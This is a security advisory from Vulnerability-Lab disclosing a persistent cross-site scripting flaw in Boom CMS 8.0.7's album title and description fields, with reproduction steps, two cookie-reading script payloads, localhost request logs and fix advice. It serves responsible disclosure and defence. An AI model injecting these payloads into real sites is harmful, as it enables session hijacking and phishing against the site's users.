Boom CMS 8.0.7 Cross Site Scripting

Document Title:===============Boom CMS v8.0.7 - Cross Site Scripting VulnerabilityReferences (Source):====================https://www.vulnerability-lab.com/get_content.php?id=2274Release Date:=============2023-07-03Vulnerability Laboratory ID (VL-ID):====================================2274Common Vulnerability Scoring System:====================================5.3Vulnerability Class:====================Cross Site Scripting - PersistentCurrent Estimated Price:========================500€ - 1.000€Product & Service Introduction:===============================Boom is a fully featured, easy to use CMS. More than 10 years, and many versions later, Boom is an intuitive, WYSIWYG CMS that makes lifeeasy for content editors and website managers. Working with BoomCMS is simple. It's easy and quick to learn and start creating content.It gives editors control but doesn't require any technical knowledge.(Copy of the Homepage:https://www.boomcms.net/boom-boom  )Abstract Advisory Information:==============================The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Boom CMS v8.0.7 web-application.Affected Product(s):====================UXB LondonProduct: Boom v8.0.7 - Content Management System (Web-Application)Vulnerability Disclosure Timeline:==================================2022-07-24: Researcher Notification & Coordination (Security Researcher)2022-07-25: Vendor Notification (Security Department)2023-**-**: Vendor Response/Feedback (Security Department)2023-**-**: Vendor Fix/Patch (Service Developer Team)2023-**-**: Security Acknowledgements (Security Department)2023-07-03: Public Disclosure (Vulnerability Laboratory)Discovery Status:=================PublishedExploitation Technique:=======================RemoteSeverity Level:===============MediumAuthentication Type:====================Restricted Authentication (User Privileges)User Interaction:=================Low User InteractionDisclosure Type:================Responsible DisclosureTechnical Details & Description:================================A persistent script code injection web vulnerability has been discovered in the official Boom CMS v8.0.7 web-application.The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromisebrowser to web-application requests from the application-side.The vulnerability is located in the input fields of the album title and album description in the asset-manager module.Attackers with low privileges are able to add own malformed albums with malicious script code in the title and description.After the inject the albums are being displayed in the backend were the execute takes place on preview of the main assets.The attack vector of the vulnerability is persistent and the request method to inject is post. The validation tries to parsethe content by usage of a backslash. Thus does not have any impact to inject own maliciousjava-scripts because of its only performed for double- and single-quotes to prevent sql injections.Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistentexternal redirects to malicious source and persistent manipulation of affected application modules.Request Method(s):[+] POSTVulnerable Module(s):[+] assets-manager (album)Vulnerable Function(s):[+] addVulnerable Parameter(s):[+] title[+] descriptionAffected Module(s):[+] Frontend (Albums)[+] Backend (Albums Assets)Proof of Concept (PoC):=======================The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.Manual steps to reproduce the vulnerability ...1. Login to the application as restricted user2. Create a new album3. Inject a test script code payload to title and description4. Save the request5. Preview frontend (albums) and backend (assets-manager & albums listing) to provoke the execution6. Successful reproduce of the persistent cross site web vulnerability!Payload(s):><script>alert(document.cookie)</script><div style=1<a onmouseover=alert(document.cookie)>test</a>--- PoC Session Logs (Inject) ---https://localhost:8000/boomcms/album/35Host: localhost:8000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 263Origin:https://localhost:8000Connection: keep-aliveReferer:https://localhost:8000/boomcms/asset-manager/albums/[evil.source]Sec-Fetch-Site: same-origin{"asset_count":1,"id":35,"name":""><[INJECTED SCRIPT CODE PAYLOAD 1!]>","description":""><[INJECTED SCRIPT CODE PAYLOAD 2!]>","slug":"a","order":null,"site_id":1,"feature_image_id":401,"created_by":9,"deleted_by":null,"deleted_at":null,"created_at":"2021-xx-xx xx:x:x","updated_at":"2021-xx-xx xx:x:x"}-PUT: HTTP/1.1 200 OKServer: ApacheCache-Control: no-cache, privateSet-Cookie: Max-Age=7200; path=/Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUFVV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtYyOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;Max-Age=7200; path=/; httponlyContent-Length: 242Connection: Keep-AliveContent-Type: application/json-https://localhost:8000/boomcms/asset-manager/albums/[evil.source]Host: localhost:8000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUFVV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtYyOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;-GET: HTTP/1.1 200 OKServer: ApacheCache-Control: no-cache, privateSet-Cookie:Vary: Accept-EncodingContent-Length: 7866Connection: Keep-AliveContent-Type: text/html; charset=UTF-8-Vulnerable Source: asset-manager/albums/[ID]<li data-album="36">         <a href="#albums/20">             <div>                 <h3>[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]</h3>                 <p class="description">"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>                 <p class='count'><span>0</span> assets</p>             </div>         </a>     </li></iframe></p></div></a></li></ul></div></div>         </div>         <div id="b-assets-view-asset-container"></div>         <div id="b-assets-view-selection-container"></div>         <div id="b-assets-view-album-container"><div><div id="b-assets-view-album">         <div class="heading">             <h1 class="bigger b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]></h1>             <p class="description b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>         </div>Solution - Fix & Patch:=======================The vulnerability can be patched by a secure parse and encode of the vulnerable title and description parameters.Restrict the input fields and disallow usage of special chars. Sanitize the output listing location to prevent further attacks.Security Risk:==============The security risk of the persistent input validation web vulnerability in the application is estimated as medium.Credits & Authors:==================Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-LabDisclaimer & Information:=========================The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Labor its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profitsor special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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